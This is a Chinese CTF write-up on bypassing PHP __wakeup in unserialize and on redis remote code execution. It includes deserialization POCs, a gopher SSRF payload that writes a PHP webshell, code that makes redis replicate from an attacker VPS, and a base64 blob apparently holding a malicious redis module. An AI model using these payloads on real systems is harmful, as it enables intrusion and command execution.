CTF Note 21th – php _wakeup bypass and redis RCE

内容纲要

easy_eval

php unserialize

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }

}else{
    highlight_file(__FILE__);
}

这里有三种思路

类名小写

这个是看别人的wp看到的,由于类名是不区分大小写的,因此只要类名改成小写,绕wakeup改A和改B的属性数量都行

POC:

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

绕过正则

利用正则回溯最大次数上限绕过preg_match

查看正则回溯最大次数上限:var_dump(ini_get(‘pcre.backtrack_limit’));

所谓正则回溯,是在非贪婪匹配时,优先匹配其后的字符,比如这题优先匹配(.*?)后面的:,当没匹配到:时,才匹配(.*?),逐个字符向后递推反复的这个过程。

正则回溯最大次数上限即非贪婪匹配的最大字符数,超出则正则匹配罢工,默认100万。

所以构造一个数组,第一个元素是一个形如"A":1111...1:,其中省略100万个1的字符串,第二个元素才是含有我们手工改变了A对象属性个数的B对象。

My POC:

a:2:{i:0;s:1010005:""A":111...1:";i:1;O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:10:"phpinfo();";}}}

不绕过正则

众所周知,php7.0.11修复了CVE-2016-7124,即反序列化wakeup绕过的漏洞。但是这个修复并没有真正解决问题,反而还带来了新的问题。

这个修复主要有三个方面:

  1. 有wakeup函数但是wakeup函数执行失败对象在销毁时不执行destruct函数,防止绕过在wakeup函数中所做的限制导致执行了危险的destruct函数

  2. 一旦反序列化出错就销毁已经序列化了的对象,防止被利用

  3. 当session反序列化失败时不要使用

经过调试发现一些特性:

  1. 反序列化字符串中对象属性个数值多于实际个数,或在对象中间*添加无意义字符,会导致当前对象反序列化出错

  2. wakeup抛出异常也算当前对象反序列化出错

  3. 反序列化字符串中对象属性个数值少于实际个数,或者在对象末尾添加无意义字符时,当前对象反序列化不会出错,但是父对象会反序列化出错(官方wp利用的是这点,在B对象末尾添加了一个;,B不会出错,但是最外层反序列化出错)

  4. destruct时,对象从外向内

  5. wakeup时,如果内层对象有wakeup没执行,先执行内层的wakeup

  6. 若对象存在wakeup,wakeup在destruct前执行

修复存在缺陷:

  1. 执行不了自己的destruct,但是可以执行别人的destruct

  2. 没有wakeup的情况下,destruct就能够先于内部对象的wakeup被执行

因此,在>=7.0.11的php中,可以给A多赋值一个属性,但是将其属性个数改为1,让B的destruct先于A的wakeup执行。

My POC:

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";anyword}}

Offical POC:

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}anyword}

  1. <=7.0.10时,因为不会立即销毁对象,因此本payload无效

  2. 中间是指在指定参数个数的反序列化字符串完成前,比如"A":1:{s:4:"code";[inserted]s:10:"phpinfo();";就是在中间插入,"A":1:{s:4:"code";s:10:"phpinfo();";[inserted]s:5:"code2";s:10:"phpinfo();";就是在结尾插入

  3. B无wakeup

    "A":1:

    unserialize->A wakeup->continue->B destruct->A call->A destruct

    "a":2:

    unserialize->B destruct->A call->continue

    "A":1: with sth at end of A

    unserialize->B destruct->A call->A wakeup->A destruct->continue

    "A":1: with wakeup throwException

    unserialize->A wakeup->B destruct->A call->continue

    "A":1: add ; at the end of B

    unserialize->B destruct->A call->A wakeup->continue

  4. B有wakeup

    "A":1:

    unserialize->A wakeup->B wakeup->continue->B destruct->A call->A destruct

    "a":2:

    unserialize->continue

    "A":1: with sth at end of A

    unserialize->A wakeup->A destruct->continue

    "A":1: with wakeup throwException

    unserialize->A wakeup->continue

    "A":1: add ; at the end of B

    unserialize->A->wakeup->B wakeup->B destruct->A call->A destruct->continue

redis RCE

之前一直没有搞过redis,这次补上这块内容

redis利用概述

目前redis常见的利用方式有一下两种

  1. 写计划任务反弹shell或者ssh key连ssh shell或者webshell

  2. 主从复制写动态链接库(.so)作为模块加载

操作redis的方式有

  1. shell里redis-cli:redis-cli config set dir /tmp

  2. SSRF向6379端口发送数据:常见的有使用gophergopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A,此外还有dict://127.0.0.1:6379/config:set:dir:/tmp和最近十分流行的ftp被动模式

  3. 使用程序语言提供的redis api:比如php$redis->config('set','dbfilename','crontab')

分析

查看phpinfo(),得知

  1. 限制了open_basedir只能在/tmp或者/var/www/html,

  2. disable_function禁用了几乎所有命令执行,没有禁用assert,但是php7里assert已经不能传字符串实现命令执行了,

  3. 没有禁用读写文件函数和scandir,发现当前目录下除了index.php还有一个config.php.swp,读取后用vim -r还原得到redis的配置

  4. 尝试读取/tmp下的日志失败,尝试向/var/www/html写入webshell失败,但是/tmp目录有写权限

  5. 启用了redis扩展

  6. 测试发现可以外连

综上,写webshell没有意义,crontab可以尝试但很可能没有crontab,因为靶机经过端口映射,ssh连入不太可能,ssh key也没有意义,因此主要考虑加载.so进行命令执行

然后操作redis加载.so,然后使用加载的模块执行命令,

写入.so文件

既可以主从复制写.so文件,也可以考虑php file_put_contents将.so写入/tmp,这里使用.so文件来自n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

主从复制写.so
$redis=new Redis();
$redis->connect('localhost');
$redis->auth('you_cannot_guess_it');
$redis->slaveof(vps_ip,vps_port);
$redis->config('set','dir','/tmp');
$redis->config('set','dbfilename','exp.so');

使用redis-ssrf里的redis-server.py起一个假的redis-server在vps上供目标复制

~/redis-ssrf$ python2 rogue-server.py 
[+] Accepted connection from 8.134.37.86:44436
[+] FULLRESYNC ...
[+] It's done
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:202:"$redis=new%20Redis();$redis->connect("localhost");$redis->auth("you_cannot_guess_it");$redis->slaveof("106.15.249.250",8088);$redis->config("set","dir","/tmp");$redis->config("set","dbfilename","exp.so");";s:5:"code2";s:4:"sdas";}}
file_put_contents写.so
file_put_contents('php://filter/write=convert.base64-decode|zlib.inflate/resource=/tmp/exp.so','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